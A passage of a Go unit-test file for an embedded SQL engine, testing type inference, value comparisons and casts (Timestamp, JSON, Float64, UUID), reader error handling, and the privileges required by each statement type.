IntegerType},\n\t\t}, nil, \"\")\n\t\trequire.NoError(t, err)\n\n\t\trequire.False(t, e.isConstant())\n\t\trequire.Nil(t, e.selectorRanges(nil, \"\", nil, nil))\n\n\t\trow := &Row{ValuesBySelector: map[string]TypedValue{EncodeSelector(\"\", \"\", \"salary\"): &Integer{50000}}}\n\t\trequire.Equal(t,\n\t\t\t&CaseWhenExp{\n\t\t\t\twhenThen: []whenThenClause{\n\t\t\t\t\t{\n\t\t\t\t\t\twhen: NewCmpBoolExp(GT, &Integer{50000}, &Integer{100000}), then: &Integer{0},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\telseExp: &Integer{1},\n\t\t\t}, e.reduceSelectors(row, \"\"))\n\n\t\tv, err := e.reduce(nil, row, \"\")\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, int64(1), v.RawValue())\n\t})\n}\n\nfunc TestInferTypeCaseWhenExp(t *testing.T) {\n\tt.Run(\"simple case\", func(t *testing.T) {\n\t\te, err := ParseExpFromString(\n\t\t\t\"CASE department WHEN 'engineering' THEN 0 ELSE 1 END\",\n\t\t)\n\t\trequire.NoError(t, err)\n\n\t\t_, err = e.inferType(\n\t\t\tmap[string]ColDescriptor{\n\t\t\t\tEncodeSelector(\"\", \"\", \"department\"): {Type: IntegerType},\n\t\t\t},\n\t\t\tnil,\n\t\t\t\"\",\n\t\t)\n\t\trequire.ErrorIs(t, err, ErrInvalidTypes)\n\t\trequire.ErrorContains(t, err, \"argument of CASE/WHEN must be of type INTEGER, not type VARCHAR\")\n\n\t\tit, err := e.inferType(\n\t\t\tmap[string]ColDescriptor{\n\t\t\t\tEncodeSelector(\"\", \"\", \"department\"): {Type: VarcharType},\n\t\t\t},\n\t\t\tnil,\n\t\t\t\"\",\n\t\t)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, IntegerType, it)\n\t})\n\n\tt.Run(\"searched case\", func(t *testing.T) {\n\t\te, err := ParseExpFromString(\n\t\t\t\"CASE WHEN salary THEN 10 ELSE '0' END\",\n\t\t)\n\t\trequire.NoError(t, err)\n\n\t\t_, err = e.inferType(\n\t\t\tmap[string]ColDescriptor{\n\t\t\t\tEncodeSelector(\"\", \"\", \"salary\"): {Type: IntegerType},\n\t\t\t},\n\t\t\tnil,\n\t\t\t\"\",\n\t\t)\n\t\trequire.ErrorIs(t, err, ErrInvalidTypes)\n\n\t\te, err = ParseExpFromString(\n\t\t\t\"CASE WHEN salary > 0 THEN 10 ELSE '0' END\",\n\t\t)\n\t\trequire.NoError(t, err)\n\n\t\t_, err = e.inferType(\n\t\t\tmap[string]ColDescriptor{\n\t\t\t\tEncodeSelector(\"\", \"\", \"salary\"): {Type: IntegerType},\n\t\t\t},\n\t\t\tnil,\n\t\t\t\"\",\n\t\t)\n\t\trequire.ErrorIs(t, err, ErrInferredMultipleTypes)\n\n\t\te, err = ParseExpFromString(\n\t\t\t\"CASE WHEN salary > 0 THEN 10 ELSE 0 END\",\n\t\t)\n\t\trequire.NoError(t, err)\n\n\t\tit, err := e.inferType(\n\t\t\tmap[string]ColDescriptor{\n\t\t\t\tEncodeSelector(\"\", \"\", \"salary\"): {Type: IntegerType},\n\t\t\t},\n\t\t\tnil,\n\t\t\t\"\",\n\t\t)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, IntegerType, it)\n\n\t\tit, err = e.inferType(\n\t\t\tmap[string]ColDescriptor{\n\t\t\t\tEncodeSelector(\"\", \"\", \"salary\"): {Type: Float64Type},\n\t\t\t},\n\t\t\tnil,\n\t\t\t\"\",\n\t\t)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, IntegerType, it)\n\t})\n}\n\nfunc TestExtractFromTimestampType(t *testing.T) {\n\tt.Run(\"infer type\", func(t *testing.T) {\n\t\tfor _, arg := range []string{\"NOW()\", \"'2020-01-01'\", \"NULL\"} {\n\t\t\te, err := ParseExpFromString(\n\t\t\t\tfmt.Sprintf(\"EXTRACT(YEAR FROM %s)\", arg),\n\t\t\t)\n\t\t\trequire.NoError(t, err)\n\n\t\t\tinferredType, err := e.inferType(\n\t\t\t\tnil,\n\t\t\t\tnil,\n\t\t\t\t\"\",\n\t\t\t)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Equal(t, IntegerType, inferredType)\n\t\t}\n\t})\n\n\tt.Run(\"requires type\", func(t *testing.T) {\n\t\te, err := ParseExpFromString(\n\t\t\t\"EXTRACT(YEAR FROM NOW())\",\n\t\t)\n\t\trequire.NoError(t, err)\n\n\t\terr = e.requiresType(Float64Type, nil, nil, \"\")\n\t\trequire.NoError(t, err)\n\n\t\terr = e.requiresType(IntegerType, nil, nil, \"\")\n\t\trequire.NoError(t, err)\n\n\t\te, err = ParseExpFromString(\n\t\t\t\"EXTRACT(YEAR FROM '2020-01-01')\",\n\t\t)\n\t\trequire.NoError(t, err)\n\n\t\terr = e.requiresType(Float64Type, nil, nil, \"\")\n\t\trequire.Error(t, err)\n\n\t\terr = e.requiresType(IntegerType, nil, nil, \"\")\n\t\trequire.Error(t, err)\n\t})\n}\n\nfunc TestLikeBoolExpEdgeCases(t *testing.T) {\n\texp := &LikeBoolExp{}\n\n\t_, err := exp.inferType(nil, nil, \"\")\n\trequire.ErrorIs(t, err, ErrInvalidCondition)\n\n\terr = exp.requiresType(BooleanType, nil, nil, \"\")\n\trequire.ErrorIs(t, err, ErrInvalidCondition)\n\n\t_, err = exp.substitute(nil)\n\trequire.ErrorIs(t, err, ErrInvalidCondition)\n\n\t_, err = exp.reduce(nil, nil, \"\")\n\trequire.ErrorIs(t, err, ErrInvalidCondition)\n\n\trequire.Equal(t, exp, exp.reduceSelectors(nil, \"\"))\n\trequire.False(t, exp.isConstant())\n\trequire.Nil(t, exp.selectorRanges(nil, \"\", nil, nil))\n\n\tt.Run(\"like expression with invalid types\", func(t *testing.T) {\n\t\texp := &LikeBoolExp{val: &ColSelector{col: \"col1\"}, pattern: &Integer{}}\n\n\t\t_, err = exp.inferType(nil, nil, \"\")\n\t\trequire.ErrorIs(t, err, ErrInvalidTypes)\n\n\t\terr = exp.requiresType(BooleanType, nil, nil, \"\")\n\t\trequire.ErrorIs(t, err, ErrInvalidTypes)\n\n\t\tv := &Integer{}\n\n\t\trow := &Row{\n\t\t\tValuesByPosition: []TypedValue{v},\n\t\t\tValuesBySelector: map[string]TypedValue{\"(table1.col1)\": v},\n\t\t}\n\n\t\t_, err = exp.reduce(nil, row, \"table1\")\n\t\trequire.ErrorIs(t, err, ErrInvalidTypes)\n\t})\n\n}\n\nfunc TestAliasing(t *testing.T) {\n\tstmt := &SelectStmt{ds: &tableRef{table: \"table1\"}}\n\trequire.Equal(t, \"table1\", stmt.Alias())\n\n\tstmt.as = \"t1\"\n\trequire.Equal(t, \"t1\", stmt.Alias())\n}\n\nfunc TestEdgeCases(t *testing.T) {\n\tstmt := &CreateIndexStmt{}\n\t_, err := stmt.execAt(context.Background(), nil, nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\tstmt.cols = make([]string, MaxNumberOfColumnsInIndex+1)\n\t_, err = stmt.execAt(context.Background(), nil, nil)\n\trequire.ErrorIs(t, err, ErrMaxNumberOfColumnsInIndexExceeded)\n}\n\nfunc TestInferParameterEdgeCases(t *testing.T) {\n\terr := (&CreateUserStmt{}).inferParameters(context.Background(), nil, nil)\n\trequire.Nil(t, err)\n\n\terr = (&AlterUserStmt{}).inferParameters(context.Background(), nil, nil)\n\trequire.Nil(t, err)\n\n\terr = (&AlterPrivilegesStmt{}).inferParameters(context.Background(), nil, nil)\n\trequire.Nil(t, err)\n\n\terr = (&DropUserStmt{}).inferParameters(context.Background(), nil, nil)\n\trequire.Nil(t, err)\n\n\terr = (&RenameTableStmt{}).inferParameters(context.Background(), nil, nil)\n\trequire.Nil(t, err)\n\n\terr = (&DropTableStmt{}).inferParameters(context.Background(), nil, nil)\n\trequire.Nil(t, err)\n\n\terr = (&DropColumnStmt{}).inferParameters(context.Background(), nil, nil)\n\trequire.Nil(t, err)\n\n\terr = (&DropIndexStmt{}).inferParameters(context.Background(), nil, nil)\n\trequire.Nil(t, err)\n\n\terr = (&FnDataSourceStmt{}).inferParameters(context.Background(), nil, nil)\n\trequire.Nil(t, err)\n}\n\nfunc TestIsConstant(t *testing.T) {\n\trequire.True(t, (&NullValue{}).isConstant())\n\trequire.True(t, (&Integer{}).isConstant())\n\trequire.True(t, (&Varchar{}).isConstant())\n\trequire.True(t, (&Bool{}).isConstant())\n\trequire.True(t, (&Blob{}).isConstant())\n\trequire.True(t, (&UUID{}).isConstant())\n\trequire.True(t, (&Timestamp{}).isConstant())\n\trequire.True(t, (&Param{}).isConstant())\n\trequire.False(t, (&ColSelector{}).isConstant())\n\trequire.False(t, (&AggColSelector{}).isConstant())\n\n\trequire.True(t, (&NumExp{\n\t\top:    And,\n\t\tleft:  &Integer{val: 1},\n\t\tright: &Integer{val: 2},\n\t}).isConstant())\n\n\trequire.True(t, (&NotBoolExp{exp: &Bool{}}).isConstant())\n\trequire.False(t, (&LikeBoolExp{}).isConstant())\n\n\trequire.True(t, (&CmpBoolExp{\n\t\top:    LE,\n\t\tleft:  &Integer{val: 1},\n\t\tright: &Integer{val: 2},\n\t}).isConstant())\n\n\trequire.True(t, (&BinBoolExp{\n\t\top:    ADDOP,\n\t\tleft:  &Integer{val: 1},\n\t\tright: &Integer{val: 2},\n\t}).isConstant())\n\n\trequire.False(t, (&CmpBoolExp{\n\t\top:    LE,\n\t\tleft:  &Integer{val: 1},\n\t\tright: &ColSelector{},\n\t}).isConstant())\n\n\trequire.False(t, (&FnCall{}).isConstant())\n\n\trequire.False(t, (&ExistsBoolExp{}).isConstant())\n\trequire.False(t, (&ExtractFromTimestampExp{}).isConstant())\n}\n\nfunc TestTimestamapType(t *testing.T) {\n\n\tts := &Timestamp{val: time.Date(2021, 12, 6, 11, 53, 0, 0, time.UTC)}\n\n\tt.Run(\"comparison functions\", func(t *testing.T) {\n\n\t\tcmp, err := ts.Compare(&Timestamp{val: time.Date(2021, 12, 6, 11, 53, 0, 0, time.UTC)})\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, 0, cmp)\n\n\t\tcmp, err = ts.Compare(&Timestamp{val: time.Date(2021, 12, 6, 11, 52, 0, 0, time.UTC)})\n\t\trequire.NoError(t, err)\n\t\trequire.Greater(t, cmp, 0)\n\n\t\tcmp, err = ts.Compare(&Timestamp{val: time.Date(2021, 12, 6, 11, 54, 0, 0, time.UTC)})\n\t\trequire.NoError(t, err)\n\t\trequire.Less(t, cmp, 0)\n\n\t\tcmp, err = ts.Compare(&NullValue{t: TimestampType})\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, 1, cmp)\n\n\t\tcmp, err = ts.Compare(&NullValue{t: AnyType})\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, 1, cmp)\n\n\t\tcmp, err = (&NullValue{t: TimestampType}).Compare(ts)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, -1, cmp)\n\n\t\tcmp, err = (&NullValue{t: AnyType}).Compare(ts)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, -1, cmp)\n\t})\n\n\tit, err := ts.inferType(map[string]ColDescriptor{}, map[string]string{}, \"\")\n\trequire.NoError(t, err)\n\trequire.Equal(t, TimestampType, it)\n\n\terr = ts.requiresType(TimestampType, map[string]ColDescriptor{}, map[string]string{}, \"\")\n\trequire.NoError(t, err)\n\n\terr = ts.requiresType(IntegerType, map[string]ColDescriptor{}, map[string]string{}, \"\")\n\trequire.ErrorIs(t, err, ErrInvalidTypes)\n\n\tv, err := ts.substitute(map[string]interface{}{})\n\trequire.NoError(t, err)\n\trequire.Equal(t, ts, v)\n\n\tv = ts.reduceSelectors(&Row{}, \"\")\n\trequire.Equal(t, ts, v)\n\n\terr = ts.selectorRanges(&Table{}, \"\", map[string]interface{}{}, map[uint32]*typedValueRange{})\n\trequire.NoError(t, err)\n}\n\nfunc TestJSONType(t *testing.T) {\n\tjs := &JSON{val: float64(10)}\n\n\trequire.True(t, js.isConstant())\n\trequire.False(t, js.IsNull())\n\n\tit, err := js.inferType(map[string]ColDescriptor{}, map[string]string{}, \"\")\n\trequire.NoError(t, err)\n\trequire.Equal(t, JSONType, it)\n\n\tv, err := js.substitute(map[string]interface{}{})\n\trequire.NoError(t, err)\n\trequire.Equal(t, js, v)\n\n\tv, err = js.reduce(nil, nil, \"\")\n\trequire.NoError(t, err)\n\trequire.Equal(t, js, v)\n\n\tv = js.reduceSelectors(&Row{}, \"\")\n\trequire.Equal(t, js, v)\n\n\terr = js.selectorRanges(&Table{}, \"\", map[string]interface{}{}, map[uint32]*typedValueRange{})\n\trequire.NoError(t, err)\n\n\tt.Run(\"test comparison functions\", func(t *testing.T) {\n\t\ttype test struct {\n\t\t\ta             TypedValue\n\t\t\tb             TypedValue\n\t\t\tres           int\n\t\t\texpectedError error\n\t\t}\n\n\t\ttests := []test{\n\t\t\t{\n\t\t\t\ta: NewJson(10.5),\n\t\t\t\tb: NewJson(10.5),\n\t\t\t},\n\t\t\t{\n\t\t\t\ta:             NewJson(map[string]interface{}{}),\n\t\t\t\tb:             NewJson(map[string]interface{}{}),\n\t\t\t\texpectedError: ErrNotComparableValues,\n\t\t\t},\n\t\t\t{\n\t\t\t\ta:   NewJson(10.5),\n\t\t\t\tb:   NewFloat64(9.5),\n\t\t\t\tres: 1,\n\t\t\t},\n\t\t\t{\n\t\t\t\ta:   NewJson(true),\n\t\t\t\tb:   NewBool(true),\n\t\t\t\tres: 0,\n\t\t\t},\n\t\t\t{\n\t\t\t\ta:   NewJson(\"test\"),\n\t\t\t\tb:   NewVarchar(\"test\"),\n\t\t\t\tres: 0,\n\t\t\t},\n\t\t\t{\n\t\t\t\ta:   NewJson(int64(2)),\n\t\t\t\tb:   NewInteger(8),\n\t\t\t\tres: -1,\n\t\t\t},\n\t\t\t{\n\t\t\t\ta:   NewJson(nil),\n\t\t\t\tb:   NewNull(JSONType),\n\t\t\t\tres: 0,\n\t\t\t},\n\t\t\t{\n\t\t\t\ta:   NewJson(nil),\n\t\t\t\tb:   NewNull(AnyType),\n\t\t\t\tres: 0,\n\t\t\t},\n\t\t}\n\n\t\tfor _, tc := range tests {\n\t\t\tt.Run(fmt.Sprintf(\"compare %s to %s\", tc.a.Type(), tc.b.Type()), func(t *testing.T) {\n\t\t\t\tres, err := tc.a.Compare(tc.b)\n\t\t\t\tif tc.expectedError != nil {\n\t\t\t\t\trequire.ErrorIs(t, err, ErrNotComparableValues)\n\t\t\t\t} else {\n\t\t\t\t\trequire.NoError(t, err)\n\t\t\t\t\trequire.Equal(t, tc.res, res)\n\t\t\t\t}\n\n\t\t\t\tres1, err := tc.b.Compare(tc.a)\n\t\t\t\tif tc.expectedError != nil {\n\t\t\t\t\trequire.ErrorIs(t, err, ErrNotComparableValues)\n\t\t\t\t} else {\n\t\t\t\t\trequire.NoError(t, err)\n\t\t\t\t\trequire.Equal(t, res, -res1)\n\t\t\t\t}\n\t\t\t})\n\t\t}\n\t})\n\n\tt.Run(\"test casts\", func(t *testing.T) {\n\t\ttype test struct {\n\t\t\tsrc TypedValue\n\t\t\tdst TypedValue\n\t\t}\n\n\t\tcases := []test{\n\t\t\t{\n\t\t\t\tsrc: &NullValue{t: JSONType},\n\t\t\t\tdst: &JSON{val: nil},\n\t\t\t},\n\t\t\t{\n\t\t\t\tsrc: &NullValue{t: AnyType},\n\t\t\t\tdst: &JSON{val: nil},\n\t\t\t},\n\t\t\t{\n\t\t\t\tsrc: &JSON{val: nil},\n\t\t\t\tdst: &NullValue{t: AnyType},\n\t\t\t},\n\t\t\t{\n\t\t\t\tsrc: &JSON{val: 10.5},\n\t\t\t\tdst: &Float64{val: 10.5},\n\t\t\t},\n\t\t\t{\n\t\t\t\tsrc: &Float64{val: 10.5},\n\t\t\t\tdst: &JSON{val: 10.5},\n\t\t\t},\n\t\t\t{\n\t\t\t\tsrc: &JSON{val: 10.5},\n\t\t\t\tdst: &Integer{val: 10},\n\t\t\t},\n\t\t\t{\n\t\t\t\tsrc: &Integer{val: 10},\n\t\t\t\tdst: &JSON{val: int64(10)},\n\t\t\t},\n\t\t\t{\n\t\t\t\tsrc: &JSON{val: true},\n\t\t\t\tdst: &Bool{val: true},\n\t\t\t},\n\t\t\t{\n\t\t\t\tsrc: &Bool{val: true},\n\t\t\t\tdst: &JSON{val: true},\n\t\t\t},\n\t\t\t{\n\t\t\t\tsrc: &JSON{val: \"test\"},\n\t\t\t\tdst: &Varchar{val: `\"test\"`},\n\t\t\t},\n\t\t\t{\n\t\t\t\tsrc: &Varchar{val: `{\"name\": \"John Doe\"}`},\n\t\t\t\tdst: &JSON{val: map[string]interface{}{\"name\": \"John Doe\"}},\n\t\t\t},\n\t\t}\n\n\t\tfor _, tc := range cases {\n\t\t\tt.Run(fmt.Sprintf(\"cast %s to %s\", tc.src.Type(), tc.dst.Type()), func(t *testing.T) {\n\t\t\t\tconv, err := getConverter(tc.src.Type(), tc.dst.Type())\n\t\t\t\trequire.NoError(t, err)\n\n\t\t\t\tconverted, err := conv(tc.src)\n\t\t\t\trequire.NoError(t, err)\n\t\t\t\trequire.Equal(t, converted, tc.dst)\n\t\t\t})\n\t\t}\n\t})\n}\n\nfunc TestUnionSelectErrors(t *testing.T) {\n\tt.Run(\"fail on creating union reader\", func(t *testing.T) {\n\t\treader1 := &dummyRowReader{\n\t\t\trecordClose: true,\n\t\t}\n\n\t\treader2 := &dummyRowReader{\n\t\t\trecordClose:          true,\n\t\t\tfailReturningColumns: true,\n\t\t}\n\n\t\tstmt := &UnionStmt{\n\t\t\tleft: &dummyDataSource{\n\t\t\t\tResolveFunc: func(ctx context.Context, tx *SQLTx, params map[string]interface{}, ScanSpecs *ScanSpecs) (RowReader, error) {\n\t\t\t\t\treturn reader1, nil\n\t\t\t\t},\n\t\t\t},\n\t\t\tright: &dummyDataSource{\n\t\t\t\tResolveFunc: func(ctx context.Context, tx *SQLTx, params map[string]interface{}, ScanSpecs *ScanSpecs) (RowReader, error) {\n\t\t\t\t\treturn reader2, nil\n\t\t\t\t},\n\t\t\t},\n\t\t\tdistinct: true,\n\t\t}\n\n\t\treader, err := stmt.Resolve(context.Background(), nil, nil, nil)\n\t\trequire.ErrorIs(t, err, errDummy)\n\t\trequire.Nil(t, reader)\n\t\trequire.True(t, reader1.closed)\n\t\trequire.True(t, reader2.closed)\n\t})\n\n\tt.Run(\"fail on creating distinct reader\", func(t *testing.T) {\n\t\treader1 := &dummyRowReader{\n\t\t\trecordClose:                true,\n\t\t\tfailSecondReturningColumns: true,\n\t\t}\n\n\t\treader2 := &dummyRowReader{\n\t\t\trecordClose: true,\n\t\t}\n\n\t\tstmt := &UnionStmt{\n\t\t\tleft: &dummyDataSource{\n\t\t\t\tResolveFunc: func(ctx context.Context, tx *SQLTx, params map[string]interface{}, ScanSpecs *ScanSpecs) (RowReader, error) {\n\t\t\t\t\treturn reader1, nil\n\t\t\t\t},\n\t\t\t},\n\t\t\tright: &dummyDataSource{\n\t\t\t\tResolveFunc: func(ctx context.Context, tx *SQLTx, params map[string]interface{}, ScanSpecs *ScanSpecs) (RowReader, error) {\n\t\t\t\t\treturn reader2, nil\n\t\t\t\t},\n\t\t\t},\n\t\t\tdistinct: true,\n\t\t}\n\n\t\treader, err := stmt.Resolve(context.Background(), nil, nil, nil)\n\t\trequire.ErrorIs(t, err, errDummy)\n\t\trequire.Nil(t, reader)\n\t\trequire.True(t, reader1.closed)\n\t\trequire.True(t, reader2.closed)\n\t})\n}\n\nfunc TestJoinErrors(t *testing.T) {\n\tbaseReader := &dummyRowReader{\n\t\trecordClose: true,\n\t}\n\n\tstmt := &SelectStmt{\n\t\tds: &dummyDataSource{\n\t\t\tResolveFunc: func(ctx context.Context, tx *SQLTx, params map[string]interface{}, ScanSpecs *ScanSpecs) (RowReader, error) {\n\t\t\t\treturn baseReader, nil\n\t\t\t},\n\t\t},\n\t\tjoins: []*JoinSpec{{\n\t\t\tjoinType: JoinType(99999),\n\t\t}},\n\t}\n\n\treader, err := stmt.Resolve(context.Background(), nil, nil, nil)\n\trequire.ErrorIs(t, err, ErrUnsupportedJoinType)\n\trequire.Nil(t, reader)\n\trequire.True(t, baseReader.closed)\n}\n\nfunc TestProjectedRowReaderErrors(t *testing.T) {\n\tbaseReader := &dummyRowReader{\n\t\trecordClose:          true,\n\t\tfailReturningColumns: true,\n\t}\n\n\tstmt := &SelectStmt{\n\t\tds: &dummyDataSource{\n\t\t\tResolveFunc: func(ctx context.Context, tx *SQLTx, params map[string]interface{}, ScanSpecs *ScanSpecs) (RowReader, error) {\n\t\t\t\treturn baseReader, nil\n\t\t\t},\n\t\t},\n\t}\n\n\treader, err := stmt.Resolve(context.Background(), nil, nil, nil)\n\trequire.ErrorIs(t, err, errDummy)\n\trequire.Nil(t, reader)\n\trequire.True(t, baseReader.closed)\n}\n\nfunc TestDistinctRowReaderErrors(t *testing.T) {\n\tbaseReader := &dummyRowReader{\n\t\trecordClose:                true,\n\t\tfailSecondReturningColumns: true,\n\t}\n\n\tstmt := &SelectStmt{\n\t\tds: &dummyDataSource{\n\t\t\tResolveFunc: func(ctx context.Context, tx *SQLTx, params map[string]interface{}, ScanSpecs *ScanSpecs) (RowReader, error) {\n\t\t\t\treturn baseReader, nil\n\t\t\t},\n\t\t},\n\t\tdistinct: true,\n\t}\n\n\treader, err := stmt.Resolve(context.Background(), nil, nil, nil)\n\trequire.Error(t, err)\n\trequire.Nil(t, reader)\n\trequire.True(t, baseReader.closed)\n}\n\nfunc TestFloat64Type(t *testing.T) {\n\n\tts := &Float64{val: 0.0}\n\n\tt.Run(\"comparison functions\", func(t *testing.T) {\n\n\t\tcmp, err := ts.Compare(&Float64{val: 0.0})\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, 0, cmp)\n\n\t\tcmp, err = ts.Compare(&Float64{val: 0.1})\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, cmp, -1)\n\n\t\tcmp, err = ts.Compare(&Float64{val: -0.1})\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, cmp, 1)\n\n\t\tcmp, err = ts.Compare(&NullValue{t: Float64Type})\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, 1, cmp)\n\n\t\tcmp, err = ts.Compare(&NullValue{t: AnyType})\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, 1, cmp)\n\n\t\tcmp, err = (&NullValue{t: Float64Type}).Compare(ts)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, -1, cmp)\n\n\t\tcmp, err = (&NullValue{t: AnyType}).Compare(ts)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, -1, cmp)\n\t})\n\n\tit, err := ts.inferType(map[string]ColDescriptor{}, map[string]string{}, \"\")\n\trequire.NoError(t, err)\n\trequire.Equal(t, Float64Type, it)\n\n\terr = ts.requiresType(Float64Type, map[string]ColDescriptor{}, map[string]string{}, \"\")\n\trequire.NoError(t, err)\n\n\terr = ts.requiresType(IntegerType, map[string]ColDescriptor{}, map[string]string{}, \"\")\n\trequire.ErrorIs(t, err, ErrInvalidTypes)\n\n\tv, err := ts.substitute(map[string]interface{}{})\n\trequire.NoError(t, err)\n\trequire.Equal(t, ts, v)\n\n\tv = ts.reduceSelectors(&Row{}, \"\")\n\trequire.Equal(t, ts, v)\n\n\terr = ts.selectorRanges(&Table{}, \"\", map[string]interface{}{}, map[uint32]*typedValueRange{})\n\trequire.NoError(t, err)\n}\n\nfunc TestUUIDType(t *testing.T) {\n\n\tid := &UUID{val: uuid.New()}\n\n\tt.Run(\"comparison functions\", func(t *testing.T) {\n\t\tcmp, err := id.Compare(&UUID{val: id.val})\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, 0, cmp)\n\n\t\tcmp, err = id.Compare(&UUID{val: uuid.New()})\n\t\trequire.NoError(t, err)\n\t\trequire.NotZero(t, cmp)\n\n\t\tcmp, err = id.Compare(&NullValue{t: UUIDType})\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, 1, cmp)\n\n\t\tcmp, err = id.Compare(&NullValue{t: AnyType})\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, 1, cmp)\n\n\t\t_, err = id.Compare(&Float64{})\n\t\trequire.ErrorIs(t, err, ErrNotComparableValues)\n\t})\n\n\terr := id.requiresType(UUIDType, map[string]ColDescriptor{}, map[string]string{}, \"\")\n\trequire.NoError(t, err)\n\n\terr = id.requiresType(IntegerType, map[string]ColDescriptor{}, map[string]string{}, \"\")\n\trequire.ErrorIs(t, err, ErrInvalidTypes)\n\n\tv, err := id.substitute(map[string]interface{}{})\n\trequire.NoError(t, err)\n\trequire.Equal(t, id, v)\n\n\tv = id.reduceSelectors(&Row{}, \"\")\n\trequire.Equal(t, id, v)\n\n\terr = id.selectorRanges(&Table{}, \"\", map[string]interface{}{}, map[uint32]*typedValueRange{})\n\trequire.NoError(t, err)\n\n\terr = (&NullValue{}).selectorRanges(&Table{}, \"\", map[string]interface{}{}, map[uint32]*typedValueRange{})\n\trequire.NoError(t, err)\n\n\terr = (&Integer{}).selectorRanges(&Table{}, \"\", map[string]interface{}{}, map[uint32]*typedValueRange{})\n\trequire.NoError(t, err)\n\n\terr = (&Varchar{}).selectorRanges(&Table{}, \"\", map[string]interface{}{}, map[uint32]*typedValueRange{})\n\trequire.NoError(t, err)\n}\n\nfunc TestTypedValueString(t *testing.T) {\n\tn := &NullValue{}\n\trequire.Equal(t, \"NULL\", n.String())\n\n\ti := &Integer{val: 10}\n\trequire.Equal(t, \"10\", i.String())\n\n\ts := &Varchar{val: \"test\"}\n\trequire.Equal(t, \"'test'\", s.String())\n\n\tb := &Bool{val: true}\n\trequire.Equal(t, \"true\", b.String())\n\n\tblob := &Blob{val: []byte{1, 2, 3}}\n\trequire.Equal(t, hex.EncodeToString([]byte{1, 2, 3}), blob.String())\n\n\tts := &Timestamp{val: time.Date(2024, time.April, 24, 10, 10, 10, 10, time.UTC)}\n\trequire.Equal(t, \"2024-04-24 10:10:10\", ts.String())\n\n\tid := &UUID{val: uuid.New()}\n\trequire.Equal(t, id.val.String(), id.String())\n\n\tcount := &CountValue{c: 1}\n\trequire.Equal(t, \"1\", count.String())\n\n\tsum := &SumValue{val: i}\n\trequire.Equal(t, \"10\", sum.String())\n\n\tmin := &MinValue{val: i}\n\trequire.Equal(t, \"10\", min.String())\n\n\tmax := &MaxValue{val: i}\n\trequire.Equal(t, \"10\", max.String())\n\n\tavg := &AVGValue{s: &Float64{val: 10}, c: 4}\n\trequire.Equal(t, \"2.5\", avg.String())\n\n\tjsVal := &JSON{val: map[string]interface{}{\"name\": \"John Doe\"}}\n\trequire.Equal(t, jsVal.String(), `{\"name\":\"John Doe\"}`)\n}\n\nfunc TestRequiredPrivileges(t *testing.T) {\n\ttype test struct {\n\t\tstmt       SQLStmt\n\t\treadOnly   bool\n\t\tprivileges []SQLPrivilege\n\t}\n\n\ttests := []test{\n\t\t{\n\t\t\tstmt:       &SelectStmt{},\n\t\t\treadOnly:   true,\n\t\t\tprivileges: []SQLPrivilege{SQLPrivilegeSelect},\n\t\t},\n\t\t{\n\t\t\tstmt:       &UnionStmt{},\n\t\t\treadOnly:   true,\n\t\t\tprivileges: []SQLPrivilege{SQLPrivilegeSelect},\n\t\t},\n\t\t{\n\t\t\tstmt:       &tableRef{},\n\t\t\treadOnly:   true,\n\t\t\tprivileges: []SQLPrivilege{SQLPrivilegeSelect},\n\t\t},\n\t\t{\n\t\t\tstmt:       &UpsertIntoStmt{},\n\t\t\treadOnly:   false,\n\t\t\tprivileges: []SQLPrivilege{SQLPrivilegeInsert, SQLPrivilegeUpdate},\n\t\t},\n\t\t{\n\t\t\tstmt:       &UpsertIntoStmt{isInsert: true},\n\t\t\treadOnly:   false,\n\t\t\tprivileges: []SQLPrivilege{SQLPrivilegeInsert},\n\t\t},\n\t\t{\n\t\t\tstmt:       &UpsertIntoStmt{ds: &SelectStmt{}},\n\t\t\treadOnly:   false,\n\t\t\tprivileges: []SQLPrivilege{SQLPrivilegeInsert, SQLPrivilegeUpdate, SQLPrivilegeSelect},\n\t\t},\n\t\t{\n\t\t\tstmt:       &UpsertIntoStmt{ds: &SelectStmt{}, isInsert: true},\n\t\t\treadOnly:   false,\n\t\t\tprivileges: []SQLPrivilege{SQLPrivilegeInsert, SQLPrivilegeSelect},\n\t\t},\n\t\t{\n\t\t\tstmt:       &DeleteFromStmt{},\n\t\t\treadOnly:   false,\n\t\t\tprivileges: []SQLPrivilege{SQLPrivilegeDelete},\n\t\t},\n\t\t{\n\t\t\tstmt:       &CreateDatabaseStmt{},\n\t\t\treadOnly:   false,\n\t\t\tprivileges: []SQLPrivilege{SQLPrivilegeCreate},\n\t\t},\n\t\t{\n\t\t\tstmt:       &CreateTableStmt{},\n\t\t\treadOnly:   false,\n\t\t\tprivileges: []SQLPrivilege{SQLPrivilegeCreate},\n\t\t},\n\t\t{\n\t\t\tstmt:       &CreateIndexStmt{},\n\t\t\treadOnly:   false,\n\t\t\tprivileges: []SQLPrivilege{SQLPrivilegeCreate},\n\t\t},\n\t\t{\n\t\t\tstmt:       &CreateIndexStmt{},\n\t\t\treadOnly:   false,\n\t\t\tprivileges: []SQLPrivilege{SQLPrivilegeCreate},\n\t\t},\n\t\t{\n\t\t\tstmt:       &DropTableStmt{},\n\t\t\treadOnly:   false,\n\t\t\tprivileges: []SQLPrivilege{SQLPrivilegeDrop},\n\t\t},\n\t\t{\n\t\t\tstmt:       &DropColumnStmt{},\n\t\t\treadOnly:   false,\n\t\t\tprivileges: 